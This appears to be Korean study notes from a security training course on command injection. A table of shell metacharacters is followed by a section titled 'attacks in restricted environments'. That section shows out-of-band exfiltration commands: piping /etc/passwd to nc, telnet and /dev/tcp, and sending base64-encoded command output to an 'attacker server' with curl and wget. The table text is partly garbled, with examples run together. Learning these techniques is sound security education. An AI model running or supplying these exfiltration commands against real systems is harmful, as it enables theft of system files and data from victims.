메타 문자 설명 Example
```` 명령어 치환````안에 들어있는 명령어를 실행한 결과로 치환됩니다. $ echo echo theoritheori
$() 명령어 치환$()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori))) $ echo $(echo theori)theori
&& 명령어 연속 실행한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. (Logical And) $ echo hello && echo theorihellotheori
` `
; 명령어 구분자한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. $ echo hello ; echo theorihellotheori
` ` 파이프
앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. `$ echo id /bin/shuid=1001(theori) gid=1001(theori) groups=1001(theori)`

제한된 환경에서의 공격

실행 결과를 확인할 수 없는 환경

Network Outbound

nc (netcat)

cat /etc/passwd | nc 127.0.0.1 8000

telnet

cat /etc/passwd | telnet 127.0.0.1 8000

curl/wget

공격자의 서버로 접속 로그등을 남겨서 확인하는 방식

curl "<http://127.0.0.1:8080/?$>(ls -al|base64 -w0)"
curl <http://127.0.0.1:8080/> -d "$(ls -al)"
wget <http://127.0.0.1:8080> --method=POST --body-data="`ls -al`"

/dev/tcp & /dev/udp

"/dev/tcp" 장치 경로의 하위 디렉터리로 IP 주소와 포트 번호를 입력하면 Bash는 해당 경로로 네트워크 연결을 시도

cat /etc/passwd > /dev/tcp/127.0.0.1/8080